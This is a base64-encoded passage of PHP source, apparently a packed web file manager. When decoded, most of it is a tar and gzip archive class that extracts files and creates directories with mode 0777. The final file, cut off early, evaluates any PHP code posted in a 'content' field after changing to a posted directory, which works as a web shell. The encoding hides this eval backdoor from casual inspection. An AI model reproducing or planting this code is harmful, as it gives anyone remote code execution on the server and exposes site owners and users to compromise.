ICgkZmlsZW5hbWUgIT0gJy4nKVxyXG5cdFx0XHRcdFx0XHRcdCRmaWxlX2FycmF5X3RtcFtdID0gJGZpbGVuYW1lLidcLycuJGRpcjtcclxuXHRcdFx0XHRcdFx0ZWxzZVxyXG5cdFx0XHRcdFx0XHRcdCRmaWxlX2FycmF5X3RtcFtdID0gJGRpcjtcclxuXHJcblx0XHRcdFx0XHRcdCRyZXN1bHQgPSAkdGhpcy0+cGFja0ZpbGVBcnJheSgkZmlsZV9hcnJheV90bXApO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHR1bnNldCgkZmlsZV9hcnJheV90bXApO1xyXG5cdFx0XHRcdHVuc2V0KCRkaXIpO1xyXG5cdFx0XHRcdHVuc2V0KCRoYW5kbGUpO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0XHRyZXR1cm4gJHJlc3VsdDtcclxuXHR9XHJcblxyXG5cdGZ1bmN0aW9uIHVucGFja0ZpbGVBcnJheSgkcGF0aCl7IFxyXG5cdFx0JHBhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRwYXRoKTtcclxuXHRcdGlmICgkcGF0aCA9PSAnJ1x0fHwgKHN1YnN0cigkcGF0aCwgMCwgMSkgIT0gJ1wvJyAmJiBzdWJzdHIoJHBhdGgsIDAsIDMpICE9ICcuLlwvJyAmJiAhc3RycG9zKCRwYXRoLCAnOicpKSlcdCRwYXRoID0gJy5cLycuJHBhdGg7XHJcblx0XHRjbGVhcnN0YXRjYWNoZSgpO1xyXG5cdFx0d2hpbGUgKHN0cmxlbigkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZWFkQmxvY2soKSkgIT0gMCl7XHJcblx0XHRcdGlmICghJHRoaXMtPnJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICRoZWFkZXIpKSByZXR1cm4gZmFsc2U7XHJcblx0XHRcdGlmICgkaGVhZGVyWydmaWxlbmFtZSddID09ICcnKSBjb250aW51ZTtcclxuXHRcdFx0aWYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJ0wnKXtcdFx0XHRcL1wvcmVhZGluZyBsb25nIGhlYWRlclxyXG5cdFx0XHRcdCRmaWxlbmFtZSA9ICcnO1xyXG5cdFx0XHRcdCRkZWNyID0gZmxvb3IoJGhlYWRlclsnc2l6ZSddXC81MTIpO1xyXG5cdFx0XHRcdGZvciAoJGkgPSAwOyAkaSA8ICRkZWNyOyAkaSsrKXtcclxuXHRcdFx0XHRcdCRjb250ZW50ID0gJHRoaXMtPnJlYWRCbG9jaygpO1xyXG5cdFx0XHRcdFx0JGZpbGVuYW1lIC49ICRjb250ZW50O1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRpZiAoKCRsYXNwaWVjZSA9ICRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCl7XHJcblx0XHRcdFx0XHQkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTtcclxuXHRcdFx0XHRcdCRmaWxlbmFtZSAuPSBzdWJzdHIoJGNvbnRlbnQsIDAsICRsYXNwaWVjZSk7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdCRiaW5hcnlEYXRhID0gJHRoaXMtPnJlYWRCbG9jaygpO1xyXG5cdFx0XHRcdGlmICghJHRoaXMtPnJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICRoZWFkZXIpKSByZXR1cm4gZmFsc2U7XHJcblx0XHRcdFx0ZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJGZpbGVuYW1lO1xyXG5cdFx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0XHR9XHJcblx0XHRcdGlmICgoJHBhdGggIT0gJy5cLycpICYmICgkcGF0aCAhPSAnXC8nKSl7XHJcblx0XHRcdFx0d2hpbGUgKHN1YnN0cigkcGF0aCwgLTEpID09ICdcLycpICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCBzdHJsZW4oJHBhdGgpLTEpO1xyXG5cdFx0XHRcdGlmIChzdWJzdHIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJ1wvJykgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLiRoZWFkZXJbJ2ZpbGVuYW1lJ107XHJcblx0XHRcdFx0ZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJHBhdGguJ1wvJy4kaGVhZGVyWydmaWxlbmFtZSddO1xyXG5cdFx0XHR9XHJcblx0XHRcdFxyXG5cdFx0XHRpZiAoZmlsZV9leGlzdHMoJGhlYWRlclsnZmlsZW5hbWUnXSkpe1xyXG5cdFx0XHRcdGlmICgoQGlzX2RpcigkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJycpKXtcclxuXHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9X18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJykuX18oJyBhcyBmb2xkZXInKTtcclxuXHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0aWYgKChpc19maWxlKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSAmJiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScpKXtcclxuXHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9X18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTtcclxuXHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0aWYgKCFpc193cml0ZWFibGUoJGhlYWRlclsnZmlsZW5hbWUnXSkpe1xyXG5cdFx0XHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTtcclxuXHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH0gZWxzZWlmICgoJHRoaXMtPmRpckNoZWNrKCgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1JyA/ICRoZWFkZXJbJ2ZpbGVuYW1lJ10gOiBkaXJuYW1lKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSkpICE9IDEpe1xyXG5cdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy5fXygnIGZvciAnKS4kaGVhZGVyWydmaWxlbmFtZSddO1xyXG5cdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0aWYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJzUnKXtcclxuXHRcdFx0XHRpZiAoIWZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKVx0XHR7XHJcblx0XHRcdFx0XHRpZiAoIW1rZGlyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDA3NzcpKVx0e1xyXG5cdFx0XHRcdFx0XHRcclxuXHRcdFx0XHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ107XHJcblx0XHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHRcdH0gXHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdGlmICgoJGRlc3RpbmF0aW9uID0gZm9wZW4oJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJykpID09IDApIHtcclxuXHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddO1xyXG5cdFx0XHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0XHQkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXVwvNTEyKTtcclxuXHRcdFx0XHRcdGZvciAoJGkgPSAwOyAkaSA8ICRkZWNyOyAkaSsrKSB7XHJcblx0XHRcdFx0XHRcdCRjb250ZW50ID0gJHRoaXMtPnJlYWRCbG9jaygpO1xyXG5cdFx0XHRcdFx0XHRmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgNTEyKTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdGlmICgoJGhlYWRlclsnc2l6ZSddICUgNTEyKSAhPSAwKSB7XHJcblx0XHRcdFx0XHRcdCRjb250ZW50ID0gJHRoaXMtPnJlYWRCbG9jaygpO1xyXG5cdFx0XHRcdFx0XHRmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikpO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0ZmNsb3NlKCRkZXN0aW5hdGlvbik7XHJcblx0XHRcdFx0XHR0b3VjaCgkaGVhZGVyWydmaWxlbmFtZSddLCAkaGVhZGVyWyd0aW1lJ10pO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRjbGVhcnN0YXRjYWNoZSgpO1xyXG5cdFx0XHRcdGlmIChmaWxlc2l6ZSgkaGVhZGVyWydmaWxlbmFtZSddKSAhPSAkaGVhZGVyWydzaXplJ10pIHtcclxuXHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdTaXplIG9mIGZpbGUnKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXS4nICcuX18oJ2lzIGluY29ycmVjdCcpO1xyXG5cdFx0XHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0XHRpZiAoKCRmaWxlX2RpciA9IGRpcm5hbWUoJGhlYWRlclsnZmlsZW5hbWUnXSkpID09ICRoZWFkZXJbJ2ZpbGVuYW1lJ10pICRmaWxlX2RpciA9ICcnO1xyXG5cdFx0XHRpZiAoKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnXC8nKSAmJiAoJGZpbGVfZGlyID09ICcnKSkgJGZpbGVfZGlyID0gJ1wvJztcclxuXHRcdFx0JHRoaXMtPmRpcnNbXSA9ICRmaWxlX2RpcjtcclxuXHRcdFx0JHRoaXMtPmZpbGVzW10gPSAkaGVhZGVyWydmaWxlbmFtZSddO1xyXG5cdFxyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIHRydWU7XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiBkaXJDaGVjaygkZGlyKXtcclxuXHRcdCRwYXJlbnRfZGlyID0gZGlybmFtZSgkZGlyKTtcclxuXHJcblx0XHRpZiAoKEBpc19kaXIoJGRpcikpIG9yICgkZGlyID09ICcnKSlcclxuXHRcdFx0cmV0dXJuIHRydWU7XHJcblxyXG5cdFx0aWYgKCgkcGFyZW50X2RpciAhPSAkZGlyKSBhbmQgKCRwYXJlbnRfZGlyICE9ICcnKSBhbmQgKCEkdGhpcy0+ZGlyQ2hlY2soJHBhcmVudF9kaXIpKSlcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cclxuXHRcdGlmICghbWtkaXIoJGRpciwgMDc3Nykpe1xyXG5cdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuJGRpcjtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIHRydWU7XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiByZWFkSGVhZGVyKCRiaW5hcnlEYXRhLCAmJGhlYWRlcil7XHJcblx0XHRpZiAoc3RybGVuKCRiaW5hcnlEYXRhKT09MCl7XHJcblx0XHRcdCRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJztcclxuXHRcdFx0cmV0dXJuIHRydWU7XHJcblx0XHR9XHJcblxyXG5cdFx0aWYgKHN0cmxlbigkYmluYXJ5RGF0YSkgIT0gNTEyKXtcclxuXHRcdFx0JGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnO1xyXG5cdFx0XHQkdGhpcy0+X18oJ0ludmFsaWQgYmxvY2sgc2l6ZScpLic6ICcuc3RybGVuKCRiaW5hcnlEYXRhKTtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cclxuXHRcdCRjaGVja3N1bSA9IDA7XHJcblx0XHRmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTtcclxuXHRcdGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKCcgJyk7XHJcblx0XHRmb3IgKCRpID0gMTU2OyAkaSA8IDUxMjsgJGkrKykgJGNoZWNrc3VtKz1vcmQoc3Vic3RyKCRiaW5hcnlEYXRhLCAkaSwgMSkpO1xyXG5cclxuXHRcdCR1bnBhY2tfZGF0YSA9IHVucGFjaygnYTEwMGZpbGVuYW1lXC9hOG1vZGVcL2E4dXNlcl9pZFwvYThncm91cF9pZFwvYTEyc2l6ZVwvYTEydGltZVwvYThjaGVja3N1bVwvYTF0eXBlZmxhZ1wvYTEwMGxpbmtcL2E2bWFnaWNcL2EydmVyc2lvblwvYTMydW5hbWVcL2EzMmduYW1lXC9hOGRldm1ham9yXC9hOGRldm1pbm9yJywgJGJpbmFyeURhdGEpO1xyXG5cclxuXHRcdCRoZWFkZXJbJ2NoZWNrc3VtJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2NoZWNrc3VtJ10pKTtcclxuXHRcdGlmICgkaGVhZGVyWydjaGVja3N1bSddICE9ICRjaGVja3N1bSl7XHJcblx0XHRcdCRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJztcclxuXHRcdFx0aWYgKCgkY2hlY2tzdW0gPT0gMjU2KSAmJiAoJGhlYWRlclsnY2hlY2tzdW0nXSA9PSAwKSkgXHRyZXR1cm4gdHJ1ZTtcclxuXHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yIGNoZWNrc3VtIGZvciBmaWxlICcpLiR1bnBhY2tfZGF0YVsnZmlsZW5hbWUnXTtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cclxuXHRcdGlmICgoJGhlYWRlclsndHlwZWZsYWcnXSA9ICR1bnBhY2tfZGF0YVsndHlwZWZsYWcnXSkgPT0gJzUnKVx0JGhlYWRlclsnc2l6ZSddID0gMDtcclxuXHRcdCRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSB0cmltKCR1bnBhY2tfZGF0YVsnZmlsZW5hbWUnXSk7XHJcblx0XHQkaGVhZGVyWydtb2RlJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ21vZGUnXSkpO1xyXG5cdFx0JGhlYWRlclsndXNlcl9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd1c2VyX2lkJ10pKTtcclxuXHRcdCRoZWFkZXJbJ2dyb3VwX2lkJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2dyb3VwX2lkJ10pKTtcclxuXHRcdCRoZWFkZXJbJ3NpemUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnc2l6ZSddKSk7XHJcblx0XHQkaGVhZGVyWyd0aW1lJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ3RpbWUnXSkpO1xyXG5cdFx0cmV0dXJuIHRydWU7XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiB3cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKXtcclxuXHRcdCRwYWNrRiA9ICdhMTAwYThhOGE4YTEyQTEyJztcclxuXHRcdCRwYWNrTCA9ICdhMWExMDBhNmEyYTMyYTMyYThhOGExNTVhMTInO1xyXG5cdFx0aWYgKHN0cmxlbigka2VlcF9maWxlbmFtZSk8PTApICRrZWVwX2ZpbGVuYW1lID0gJGZpbGVuYW1lO1xyXG5cdFx0JGZpbGVuYW1lX3JlYWR5ID0gJHRoaXMtPm1ha2VHb29kUGF0aCgka2VlcF9maWxlbmFtZSk7XHJcblxyXG5cdFx0aWYgKHN0cmxlbigkZmlsZW5hbWVfcmVhZHkpID4gOTkpe1x0XHRcdFx0XHRcdFx0XC9cL3dyaXRlIGxvbmcgaGVhZGVyXHJcblx0XHQkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICcuXC8uXC9Mb25nTGluaycsIDAsIDAsIDAsIHNwcmludGYoJyUxMXMgJywgRGVjT2N0KHN0cmxlbigkZmlsZW5hbWVfcmVhZHkpKSksIDApO1xyXG5cdFx0JGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICdMJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7XHJcblxyXG4gICAgICAgIFwvXC8gIENhbGN1bGF0ZSB0aGUgY2hlY2tzdW1cclxuXHRcdCRjaGVja3N1bSA9IDA7XHJcbiAgICAgICAgXC9cLyAgRmlyc3QgcGFydCBvZiB0aGUgaGVhZGVyXHJcblx0XHRmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspXHJcblx0XHRcdCRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhRmlyc3QsICRpLCAxKSk7XHJcbiAgICAgICAgXC9cLyAgSWdub3JlIHRoZSBjaGVja3N1bSB2YWx1ZSBhbmQgcmVwbGFjZSBpdCBieSAnICcgKHNwYWNlKVxyXG5cdFx0Zm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspXHJcblx0XHRcdCRjaGVja3N1bSArPSBvcmQoJyAnKTtcclxuICAgICAgICBcL1wvICBMYXN0IHBhcnQgb2YgdGhlIGhlYWRlclxyXG5cdFx0Zm9yICgkaSA9IDE1NiwgJGo9MDsgJGkgPCA1MTI7ICRpKyssICRqKyspXHJcblx0XHRcdCRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhTGFzdCwgJGosIDEpKTtcclxuICAgICAgICBcL1wvICBXcml0ZSB0aGUgZmlyc3QgMTQ4IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmVcclxuXHRcdCR0aGlzLT53cml0ZUJsb2NrKCRkYXRhRmlyc3QsIDE0OCk7XHJcbiAgICAgICAgXC9cLyAgV3JpdGUgdGhlIGNhbGN1bGF0ZWQgY2hlY2tzdW1cclxuXHRcdCRjaGVja3N1bSA9IHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGNoZWNrc3VtKSk7XHJcblx0XHQkYmluYXJ5RGF0YSA9IHBhY2soJ2E4JywgJGNoZWNrc3VtKTtcclxuXHRcdCR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhLCA4KTtcclxuICAgICAgICBcL1wvICBXcml0ZSB0aGUgbGFzdCAzNTYgYnl0ZXMgb2YgdGhlIGhlYWRlciBpbiB0aGUgYXJjaGl2ZVxyXG5cdFx0JHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpO1xyXG5cclxuXHRcdCR0bXBfZmlsZW5hbWUgPSAkdGhpcy0+bWFrZUdvb2RQYXRoKCRmaWxlbmFtZV9yZWFkeSk7XHJcblxyXG5cdFx0JGkgPSAwO1xyXG5cdFx0XHR3aGlsZSAoKCRidWZmZXIgPSBzdWJzdHIoJHRtcF9maWxlbmFtZSwgKCgkaSsrKSo1MTIpLCA1MTIpKSAhPSAnJyl7XHJcblx0XHRcdFx0JGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7XHJcblx0XHRcdFx0JHRoaXMtPndyaXRlQmxvY2soJGJpbmFyeURhdGEpO1xyXG5cdFx0XHR9XHJcblx0XHRyZXR1cm4gdHJ1ZTtcclxuXHRcdH1cclxuXHRcdCRmaWxlX2luZm8gPSBzdGF0KCRmaWxlbmFtZSk7XHJcblx0XHRpZiAoQGlzX2RpcigkZmlsZW5hbWUpKXtcclxuXHRcdFx0JHR5cGVmbGFnID0gJzUnO1xyXG5cdFx0XHQkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KDApKTtcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdCR0eXBlZmxhZyA9ICcnO1xyXG5cdFx0XHRjbGVhcnN0YXRjYWNoZSgpO1xyXG5cdFx0XHQkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KGZpbGVzaXplKCRmaWxlbmFtZSkpKTtcclxuXHRcdH1cclxuXHRcdCRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJGZpbGVuYW1lX3JlYWR5LCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KGZpbGVwZXJtcygkZmlsZW5hbWUpKSksIHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGZpbGVfaW5mb1s0XSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNV0pKSwgJHNpemUsIHNwcmludGYoJyUxMXMnLCBEZWNPY3QoZmlsZW10aW1lKCRmaWxlbmFtZSkpKSk7XHJcblx0XHQkZGF0YUxhc3QgPSBwYWNrKCRwYWNrTCwgJHR5cGVmbGFnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnKTtcclxuXHRcdCRjaGVja3N1bSA9IDA7XHJcblx0XHRmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhRmlyc3QsICRpLCAxKSk7XHJcblx0XHRmb3IgKCRpID0gMTQ4OyAkaSA8IDE1NjsgJGkrKykgJGNoZWNrc3VtICs9IG9yZCgnICcpO1xyXG5cdFx0Zm9yICgkaSA9IDE1NiwgJGogPSAwOyAkaSA8IDUxMjsgJGkrKywgJGorKykgJGNoZWNrc3VtICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpO1xyXG5cdFx0JHRoaXMtPndyaXRlQmxvY2soJGRhdGFGaXJzdCwgMTQ4KTtcclxuXHRcdCRjaGVja3N1bSA9IHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGNoZWNrc3VtKSk7XHJcblx0XHQkYmluYXJ5RGF0YSA9IHBhY2soJ2E4JywgJGNoZWNrc3VtKTtcclxuXHRcdCR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhLCA4KTtcclxuXHRcdCR0aGlzLT53cml0ZUJsb2NrKCRkYXRhTGFzdCwgMzU2KTtcclxuXHRcdHJldHVybiB0cnVlO1xyXG5cdH1cclxuXHJcblx0ZnVuY3Rpb24gb3BlbldyaXRlKCl7XHJcblx0XHRpZiAoJHRoaXMtPmlzR3ppcHBlZClcclxuXHRcdFx0JHRoaXMtPnRtcF9maWxlID0gZ3pvcGVuKCR0aGlzLT5hcmNoaXZlX25hbWUsICd3YjlmJyk7XHJcblx0XHRlbHNlXHJcblx0XHRcdCR0aGlzLT50bXBfZmlsZSA9IGZvcGVuKCR0aGlzLT5hcmNoaXZlX25hbWUsICd3YicpO1xyXG5cclxuXHRcdGlmICghKCR0aGlzLT50bXBfZmlsZSkpe1xyXG5cdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJHRoaXMtPmFyY2hpdmVfbmFtZTtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIHRydWU7XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiByZWFkQmxvY2soKXtcclxuXHRcdGlmIChpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKXtcclxuXHRcdFx0aWYgKCR0aGlzLT5pc0d6aXBwZWQpXHJcblx0XHRcdFx0JGJsb2NrID0gZ3pyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTtcclxuXHRcdFx0ZWxzZVxyXG5cdFx0XHRcdCRibG9jayA9IGZyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTtcclxuXHRcdH0gZWxzZVx0JGJsb2NrID0gJyc7XHJcblxyXG5cdFx0cmV0dXJuICRibG9jaztcclxuXHR9XHJcblxyXG5cdGZ1bmN0aW9uIHdyaXRlQmxvY2soJGRhdGEsICRsZW5ndGggPSAwKXtcclxuXHRcdGlmIChpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKXtcclxuXHRcdFxyXG5cdFx0XHRpZiAoJGxlbmd0aCA9PT0gMCl7XHJcblx0XHRcdFx0aWYgKCR0aGlzLT5pc0d6aXBwZWQpXHJcblx0XHRcdFx0XHRnenB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSk7XHJcblx0XHRcdFx0ZWxzZVxyXG5cdFx0XHRcdFx0ZnB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSk7XHJcblx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0aWYgKCR0aGlzLT5pc0d6aXBwZWQpXHJcblx0XHRcdFx0XHRnenB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSwgJGxlbmd0aCk7XHJcblx0XHRcdFx0ZWxzZVxyXG5cdFx0XHRcdFx0ZnB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSwgJGxlbmd0aCk7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHR9XHJcblxyXG5cdGZ1bmN0aW9uIGNsb3NlVG1wRmlsZSgpe1xyXG5cdFx0aWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpe1xyXG5cdFx0XHRpZiAoJHRoaXMtPmlzR3ppcHBlZClcclxuXHRcdFx0XHRnemNsb3NlKCR0aGlzLT50bXBfZmlsZSk7XHJcblx0XHRcdGVsc2VcclxuXHRcdFx0XHRmY2xvc2UoJHRoaXMtPnRtcF9maWxlKTtcclxuXHJcblx0XHRcdCR0aGlzLT50bXBfZmlsZSA9IDA7XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiBtYWtlR29vZFBhdGgoJHBhdGgpe1xyXG5cdFx0aWYgKHN0cmxlbigkcGF0aCk+MCl7XHJcblx0XHRcdCRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcGF0aCk7XHJcblx0XHRcdCRwYXJ0UGF0aCA9IGV4cGxvZGUoJ1wvJywgJHBhdGgpO1xyXG5cdFx0XHQkZWxzID0gY291bnQoJHBhcnRQYXRoKS0xO1xyXG5cdFx0XHRmb3IgKCRpID0gJGVsczsgJGk+PTA7ICRpLS0pe1xyXG5cdFx0XHRcdGlmICgkcGFydFBhdGhbJGldID09ICcuJyl7XHJcbiAgICAgICAgICAgICAgICAgICAgXC9cLyAgSWdub3JlIHRoaXMgZGlyZWN0b3J5XHJcbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJHBhcnRQYXRoWyRpXSA9PSAnLi4nKXtcclxuICAgICAgICAgICAgICAgICAgICAkaS0tO1xyXG4gICAgICAgICAgICAgICAgfVxyXG5cdFx0XHRcdGVsc2VpZiAoKCRwYXJ0UGF0aFskaV0gPT0gJycpIGFuZCAoJGkhPSRlbHMpIGFuZCAoJGkhPTApKXtcclxuICAgICAgICAgICAgICAgIH1cdGVsc2VcclxuXHRcdFx0XHRcdCRyZXN1bHQgPSAkcGFydFBhdGhbJGldLigkaSE9JGVscyA/ICdcLycuJHJlc3VsdCA6ICcnKTtcclxuXHRcdFx0fVxyXG5cdFx0fSBlbHNlICRyZXN1bHQgPSAnJztcclxuXHRcdFxyXG5cdFx0cmV0dXJuICRyZXN1bHQ7XHJcblx0fVxyXG59XHJcbj8+XHJcbiIsIjw/cGhwXHJcbmRlZmluZSgnQkFTRV9ESVInLCAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKTsgXHJcblxyXG4kY3VycmVudF9wYXRoID0gaXNzZXQoJF9HRVRbJ3BhdGgnXSkgPyByZWFscGF0aChCQVNFX0RJUiAuICRfR0VUWydwYXRoJ10pIDogQkFTRV9ESVI7XHJcbiRjdXJyZW50X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRjdXJyZW50X3BhdGgpO1xyXG5cclxuaWYoc3RycG9zKCRjdXJyZW50X3BhdGgsIEJBU0VfRElSKSAhPT0gMCl7XHJcbiAgICBkaWUoXCJlcnJvciFcIik7XHJcbn1cclxuaWYgKGlzc2V0KCRfUE9TVFsnc3VibWl0MSddKSkge1xyXG5cdGNoZGlyKCRfUE9TVFsnY3VyZGlyJ10pO1xyXG5cdCRjb250ZW50ID0gZXZhbCgkX1BPU1RbJ2NvbnRlbnQnXSk7XHJcbn1cclxuZnVuY3Rpb24gZ2V0X2NsaWNrYWJsZV9icmVhZGNydW1iKCRiYXNlLCAkY3Vycm